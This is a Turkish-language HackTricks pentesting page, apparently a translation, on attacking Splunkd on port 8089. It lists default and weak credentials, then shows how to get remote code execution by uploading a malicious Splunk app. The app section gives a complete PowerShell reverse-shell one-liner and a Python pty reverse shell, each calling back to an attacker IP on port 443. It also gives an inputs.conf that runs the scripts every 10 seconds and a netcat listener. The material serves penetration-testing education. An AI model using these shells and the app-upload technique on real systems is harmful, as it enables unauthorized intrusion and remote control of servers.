hacktricks/network-services-pentesting/8089-splunkd.md
2024-02-10 18:14:16 +00:00

8.9 KiB
Raw Blame History

8089 - Splunkd Pentesting

AWS hackleme hakkında sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Splunk, günlük analiz aracı olarak kullanılan ve verileri toplama, analiz etme ve görselleştirme konusunda önemli bir rol oynayan bir araçtır. İlk amacı bir SIEM (Güvenlik Bilgi ve Olay Yönetimi) aracı olarak hizmet vermek olmasa da, güvenlik izleme ve iş analitiği alanında popülerlik kazanmıştır.

Splunk dağıtımları sıklıkla hassas verileri depolamak için kullanılır ve sistemleri ele geçirmeyi başarırlarsa potansiyel saldırganlar için değerli bir bilgi kaynağı olabilir. Varsayılan port: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

{% hint style="info" %} Splunk web sunucusu varsayılan olarak 8000 numaralı portta çalışır. {% endhint %}

Sıralama

Ücretsiz Sürüm

Splunk Enterprise denemesi, 60 gün sonra ücretsiz bir sürüme dönüşür ve kimlik doğrulama gerektirmez. Sistem yöneticilerinin Splunk'ı denemek için bir deneme sürümü yüklemesi ve daha sonra bunu unutması alışılmadık bir durum değildir. Bu, ortamda bir güvenlik açığı oluşturacak olan kimlik doğrulaması olmayan ücretsiz sürüme otomatik olarak dönüşecektir. Bazı kuruluşlar, kullanıcı/rol yönetiminin olmamasının ne anlama geldiğini tam olarak anlamadıkları için bütçe kısıtlamaları nedeniyle ücretsiz sürümü tercih edebilirler.

Varsayılan Kimlik Bilgileri

Eski sürümlerde Splunk'ın varsayılan kimlik bilgileri admin:changeme'dir ve bunlar giriş sayfasında uygun bir şekilde görüntülenir.
Ancak, Splunk'ın en son sürümü, kurulum süreci sırasında kimlik bilgilerini ayarlar. Varsayılan kimlik bilgileri çalışmazsa, admin, Welcome, Welcome1, Password123 gibi yaygın zayıf parolaları kontrol etmek faydalı olabilir.

Bilgi Edinme

Splunk'a giriş yaptıktan sonra, verileri gezebilir, raporlar çalıştırabilir, gösterge panoları oluşturabilir, Splunkbase kütüphanesinden uygulamalar yükleyebilir ve özel uygulamaları yükleyebilirsiniz.
Ayrıca kod çalıştırabilirsiniz: Splunk'ın sunucu tarafında Django uygulamaları, REST uç noktaları, betikli girişler ve uyarı betikleri gibi kod çalıştırma yöntemleri bulunmaktadır. Splunk sunucusunda uzaktan kod yürütme elde etmenin yaygın bir yöntemi, betikli bir girişin kullanılmasıdır.

Ayrıca, Splunk Windows veya Linux ana bilgisayarlarına kurulabileceğinden, betikli girişler Bash, PowerShell veya Batch betiklerini çalıştırmak için oluşturulabilir.

Shodan

  • Splunk derlemesi

Uzaktan Kod Yürütme (RCE)

Özel Uygulama Oluşturma

Özel bir uygulama Python, Batch, Bash veya PowerShell betiklerini çalıştırabilir.
Unutmayın ki Splunk, Python'ı yüklü olarak gelir, bu yüzden Windows sistemlerinde bile python kodunu çalıştırabilirsiniz.

Bize yardımcı olması için bu Splunk paketini kullanabilirsiniz. Bu depodaki bin dizininde Python ve PowerShell için örnekler bulunmaktadır. Adım adım ilerleyelim.

Bunu başarmak için öncelikle aşağıdaki dizin yapısını kullanarak özel bir Splunk uygulaması oluşturmamız gerekmektedir:

tree splunk_shell/

splunk_shell/
├── bin
└── default

bin dizini, çalıştırmayı planladığımız komut dosyalarını içerecektir (bu durumda bir PowerShell ters kabuk). Varsayılan dizinde ise inputs.conf dosyamız bulunacak. Ters kabuğumuz bir PowerShell tek satırlık olacak:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

inputs.conf dosyası, Splunk'a hangi betiğin çalıştırılacağını ve diğer koşulları söyler. Burada uygulamayı etkinleştiriyoruz ve Splunk'a betiği her 10 saniyede bir çalıştırmasını söylüyoruz. Aralık her zaman saniye cinsinden belirtilir ve bu ayar mevcut olduğunda giriş (betik) çalıştırılır.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Uygulama dağıtıldığında çalışacak ve PowerShell tek satırlık komutu yürütecek olan .bat dosyasına ihtiyacımız var.

Bir sonraki adım, Dosyadan uygulama yükle seçeneğini seçmek ve uygulamayı yüklemektir.

Zararlı özel uygulamayı yüklemeye başlamadan önce, Netcat veya socat kullanarak bir dinleyici başlatalım.

sudo nc -lnvp 443

listening on [any] 443 ...

Upload app sayfasında, Göz at seçeneğine tıklayın, daha önce oluşturduğumuz tarball'ı seçin ve Yükle'ye tıklayın. Uygulamayı yüklediğimiz anda, uygulamanın durumu otomatik olarak Etkin olarak değişeceği için bir ters kabuk alınır.

Linux

Eğer bir Linux ana bilgisayarıyla uğraşıyorsak, özel kötü amaçlı uygulamayı oluşturmadan önce rev.py Python betiğini düzenlememiz gerekecektir. Geri kalan süreç aynı olacak ve Netcat dinleyicimize ters kabuk bağlantısı alacağız.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE ve Yetki Yükseltme

Aşağıdaki sayfada, bu hizmetin nasıl kötüye kullanılarak yetki yükseltme ve kalıcılık elde edilebileceği açıklanmaktadır:

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}

Referanslar

AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları: